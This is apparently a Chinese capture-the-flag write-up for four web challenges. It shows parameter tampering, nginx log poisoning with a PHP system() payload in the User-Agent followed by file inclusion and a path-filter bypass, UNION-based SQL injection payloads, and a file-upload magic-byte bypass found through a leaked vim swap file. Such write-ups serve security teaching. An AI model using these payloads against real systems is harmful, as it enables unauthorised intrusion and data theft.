

## web1

抓包，改成want=flag就可以拿到flag。

The screenshot shows two NetworkMiner windows side-by-side. The left window is titled 'Request' and the right is 'Response'. Both have tabs for Pretty, Raw, Hex, Render, and other options.

**Request:**

```
1 GET /index.php?want=flag&submit=get+it%21 HTTP/1.1
2 Host: 222.186.168.238:30004
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Referer: http://222.186.168.238:30004/index.php?want=1&submit=get+it%21
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
9 Cookie: FLAG=ZmxhZ3tjb29raWVzLmNvbnbRhaW4taW5mb30%3D; csrfToken=8C291kCC5HxFTMK4W0ojo7XkkMfcP5ij; session=d259c285-f25b-4012-92cf-d70982783bac.-XZ0JFv5745yWL_oWmoC3_4qf5Q
10 Connection: close
11
12
```

**Response:**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.4.6 (Ubuntu)
3 Date: Thu, 09 Nov 2023 02:26:15 GMT
4 Content-Type: text/html
5 Connection: close
6 X-Powered-By: PHP/5.5.9-1ubuntu4.25
7 Content-Length: 1678
8
9 ZmxhZ3tXZwxDMG1lX3RvX2N0ZjJ9<!doctype html>
10 <html>
11   <head>
12     <title>
13       First Question
14     </title>
15   </head>
16   <body>
17     <meta charset="utf-8" />
18     <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
19     <meta name="viewport" content="width=device-width, initial-scale=1" />
20     <style type="text/css">
21       body{
22         background-color:#f0f0f2;
23         margin:0;
24         padding:0;
25         font-family:"Open Sans","Helvetica Neue",Arial,sans-serif;
26       }
27       div{
28         width:600px;
29         margin:5em auto;
30         padding:50px;
31         background-color:#fff;
32         border-radius:1em;
33       }
34       a:link,a:visited{
35         color:#38488f;
36         text-decoration:none;
37       }
38     @media(max-width:700px){
39       body{
40         background-color:#fff;
41       }
42       div{
43         width:auto;
44         margin:0 auto;
45         border-radius:0;
46         padding:1em;
47       }
48     }
49   </style>
50 </head>
51 <body>
```

## web2

f12看到tree：

```

47 <a href="#">?file=index>return index page</a>
48 <!--
49 john@ubuntu:/usr/share/nginx$ tree
50 .
51   └── flag
52     └── html
53       ├── page.php
54       ├── index
55       └── another
56   -->
57

```

读nginx error log得到完整路径

The screenshot shows a browser developer tools interface with two tabs: Request and Response.

**Request:**

```

POST /page.php?file=/var/log/nginx/error.log HTTP/1.1
Host: 222.186.168.238:30005
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://222.186.168.238:30005
Content-Type: application/x-www-form-urlencoded
User-Agent: <?php system('ls /;cat /*');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://222.186.168.238:30005/page.php?file=flag.txt
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: FLAG=ZmhxZ3tjb29rawVzLNVbnRhaW4taW5mb30%3D; csrfToken=8C291kc5HxitMK4W0oj07XkkMfcP5iJ; session=d259c285-f25b-4012-92cf-d70982783bac.-XZ0JFv5745yWl_oWmoC3_4qf5Q
Connection: close

```

**Response:**

```

padding:50px;
background-color:#fff;
border-radius:1em;
}
a:link,a:visited{
color:#38488f;
text-decoration:none;
}
@media(max-width:700px){
body{
background-color:#fff;
}
div{
width:auto;
margin:0 auto;
border-radius:0;
padding:1em;
}
}
</style>
</head>
<body>
<div>
2023/10/17 23:45:04 [error] 598#0: *1 directory index of
"/usr/share/nginx/html/" is forbidden, client: 223.104.38.225, server:
localhost, request: "GET / HTTP/1.1", host: "222.186.168.238:30005"
2023/10/18 00:20:05 [error] 598#0: *5 directory index of
"/usr/share/nginx/html/" is forbidden, client: 179.43.163.130, server:
localhost, request: "GET / HTTP/1.1", host: "222.186.168.238:30005"
2023/10/18 00:20:16 [error] 598#0: *6 directory index of
"/usr/share/nginx/html/" is forbidden, client: 179.43.163.130, server:
localhost, request: "GET / HTTP/1.1", host: "222.186.168.238:30005"
2023/10/18 01:25:43 [error] 598#0: *7 directory index of
"/usr/share/nginx/html/" is forbidden, client: 179.43.163.130, server:
localhost, request: "GET / HTTP/1.1", host: "222.186.168.238:30005"
2023/10/18 01:25:54 [error] 598#0: *8 directory index of
"/usr/share/nginx/html/" is forbidden, client: 179.43.163.130, server:
localhost, request: "GET / HTTP/1.1", host: "222.186.168.238:30005"
2023/10/18 02:32:21
<!--
if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") >
2) {
echo "<p>malicious parameter</p>
"
}
-->
</div>
</body>
</html>

```

利用绝对路径来绕过读flag即可。

The screenshot shows a browser developer tools interface with two tabs: "Request" and "Response".

**Request:**

```

1 GET /page.php?file=/usr/share/nginx/flag HTTP/1.1
2 Host: 222.186.168.238:30005
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
   (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
6 Origin: http://222.186.168.238:30005
7 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Referer: http://222.186.168.238:30005/page.php?file=page.php
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
11 Cookie: FLAG=ZmxhZ3tjb29raWVzLWNvbNkhaW4taW5mb30%3D; csrfToken=
   8C291kcCSHxTMK4W0oj07XkkMfcP5iJ; session=
   d259c285-f25b-4012-92cf-d70982783bac.-XZ0JFv5745yWl_oWmoC3_4qf5Q
12 Connection: close
13
14

```

**Response:**

```

15 <meta charset="utf-8" />
16 <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
17 <meta name="viewport" content="width=device-width, initial-scale=1" />
18 <style type="text/css">
19   body{
20     background-color:#f0f0f2;
21     margin:0;
22     padding:0;
23     font-family:"Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
24   }
25   div{
26     width:600px;
27     margin:5em auto;
28     padding:50px;
29     background-color:#fff;
30     border-radius:1em;
31   }
32   a:link,a:visited{
33     color:#38488f;
34     text-decoration:none;
35   }
36   @media(max-width:700px){
37     body{
38       background-color:#fff;
39     }
40     div{
41       width:auto;
42       margin:0 auto;
43       border-radius:0;
44       padding:1em;
45     }
46   }
47 </style>
48 </head>
49
50 <body>
51   <div>
52     flag{Bypass_File_Path_Check}
53
54     <!--
55       if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") >
56       2) {
57         echo "<p>malicious parameter</p>";
58       }
59     -->
60   </div>
61 </body>
62 </html>
63
64

```

At the bottom of each code block, there are search and navigation buttons.

## web3

---

以下payload都需要base64编码

```
#测试是数字型注入
-1 || 1=1
#测试有两列
-1 union select 1,2
#获取表名
-1 union select group_concat(table_name) from information_schema.tables
where table_schema=database()
#获取列明
-1 union select 1,group_concat(column_name) from information_schema.columns
where table_name='flag'
#读取flag
-1 union select 1,value from flag
```

## web4

拿dirsearch.py扫目录得到 .index.php.swp

```
python3.10 dirsearch.py -u http://222.186.168.238:30007/ -e '*'
```

```
[11:26:31] 200 - 20KB - /.index.php.swp
```

拿vim读取：

```
vim -r .index.php.swp
```

```

15 }
16 $file_tmp = fopen($_FILES["file"]["tmp_name"], 'rb');
17 $bin = fread($file_tmp, 2);
18 fclose($file_tmp);
19 $data = unpack('C2chars', $bin);
20 $type_code = intval($data[chars1].$data[chars2]);
21 $flag = 0;
22 switch ($type_code) {
23     case 255216:
24         $fileType = 'jpg';
25         $flag = 1;
26         break;
27     case 13780:
28         $fileType = 'png';
29         $flag = 1;
30         break;
31     default:
32         $fileType = 'unknown';
33         die("error file head!");
34         break;
35     }
36 if ($flag === 1){
37     $filetype = substr($_FILES["file"]["name"], strpos($_FILES["file"]["name"], "."));
38     $filename = md5($_FILES["file"]["name"]) . $filetype;
39     if (strtolower($filetype) === ".php"){
40         copy('../flag', $filename);
41     }else{
42         move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
43     }

```

首先拿 `image/jpeg` 绕过，然后上传一个正常的png文件，后缀改成.php，将filename md5后拼接上.php就可以得到flag。

Send
Cancel
< ▾
▶ ▾

Request
Response

Pretty	Raw	Hex	Render
<pre> 1 POST /index.php HTTP/1.1 2 Host: 222.186.168.238:30007 3 Content-Length: 5217 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://222.186.168.238:30007 7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzKBNIxWALm0MT7Nc 8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10 Referer: http://222.186.168.238:30007/ 11 Accept-Encoding: gzip, deflate 12 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 13 Cookie: FLAG=ZmxHxZ3tjb29raWVzLWNvbNrhaw4taW5mb30%3D; csrfToken=8C291kcCSHxFTMK4W0j07XkKMfp5ij; session=d259c285-f25b-4012-92cf-d70982783bac.-XZ0Fv5745yWl_oWmoC3_4qf50 14 Connection: close 15 16 -----WebKitFormBoundaryzKBNIxWALm0MT7Nc 17 Content-Disposition: form-data; name="file"; filename="1.php" 18 Content-Type: image/jpeg 19 20 ýþàJFIF VátExifMM&gt;&gt;F( iN ^ ýí8Photoshop 3.0BBIMBIMM Ù ²é€ iøþ-ýåIC_PROFILEappImtrnRGB XYZ c-)acspAPPLAPPLðó-apple\bdscmA cprt,#wptpterXYZ gXYZ`bXYZìrTRCDaargÜ vcgtüØndin,&lt;chad,mmod (vcgpA8bTRCDgTRCDaabgÜ aaggÜ descDisplayluc&amp;hrHØkoKRInbNØid 21 huHUcsZØdaKFnlNLbfifIXitIT esE5 roRø!frCAÉearPukUAøheILzhTW 22 \$iVN.sSK&lt;zhCN 23 \$ruRU\$RenBvfrFR ms hiIN?thHÁcaESDenAUvesXL!deDEéenUSeptBR 24 plPL!eIGR!4s5EVFrTfptPTzjaJP LCD u bojií-i LCDfarge-LCDLCD WarnaSzines LCDBarnev LCDfarveskermkleuren-LCDVári-LCDLCD a colorLCD a colorLCD colorACL couleur LCD EDHF);&gt;L&gt;@289 LCD LCD æNåöü.i-rLCDLCD MåuFarebný LCD&amp;25B=&gt;-48A?59Colour LCDLCD couleur Warna LCD Ø @ ( LCDLCD &amp;5LCD en colorFarb-LCDColor LCDLCD ColoridoKolor LCD ³ÇÅÉ¾. i, i. LCDFärg-LCDRenkli LCDLCD a coresØ«ØüLCDtextCopyright Apple Inc., 2023XYZ öQIXYZ B=ïýÿ»XYZ 25 J±7 26 !XYZ (8È¹curv 27 #(-26;ØJOTY^chmrw]- F"- -½ÅÆØÙååéððð+28&gt;ELRY`gnu  iç±!ÅÉNUåéð úð/8AKT]gqz_ ç-ÅÆØåéð!-8C0Zfr~ çøºçòåù -;HUCq~ "ÅØåðb+:IXgw  µÅåð'7HYj{ "Åñåð+=0at -øåðø2FZn- å¾ðçú % : 0 d y x ø î å û 28 ' 29 = 30 T 31 j 32 . </pre>	<pre> 79     var types =allowType; 80     var fileInfo = file.files[0]; 81     if(!fileInfo){ 82         alert("请选择文件!"); 83         return false; 84     } 85     var fileName = fileInfo.name; 86     //获取文件后缀名 87     var file_typename = fileName.substring( 88     fileName.lastIndexOf('.') + 1, fileName.length); 89     //定义标志是否可以提交上传 90     var isUpload = true; 91     //定义一个错误参数: 1代表大小超出 2代表类型不支持 92     var errNum =0; 93     if (fileInfo.size &gt; maxSize) { 94         isUpload = false; 95         errNum=1; 96     } 97     else { 98         for (var i in types) { 99             if (types[i] == file_typename) { 100                 isUpload = true; 101                 return isUpload; 102             } 103             else { 104                 isUpload = false; 105                 errNum=2; 106             } 107         } 108     } 109     //对错误的类型进行对应的提示 110     if (!isUpload) { 111         if (errNum==1){ 112             var size = maxSize/1024/1024; 113             alert("上传的文件必须为小于"+size+"M的图片!"); 114         } 115         else if(errNum==2){ 116             alert("上传的"+file_typename+"文件类型不支持! 只支持"+types.toString()+"格式"); 117         } 118     } 119     file.value=""; 120     return isUpload; 121 } 122 123 &lt;/script&gt; </pre>		
Search...	0 matches	Search...	0 matches

<http://222.186.168.238:30007/f3b94e88bd1bd325af6f62828c8785dd.php>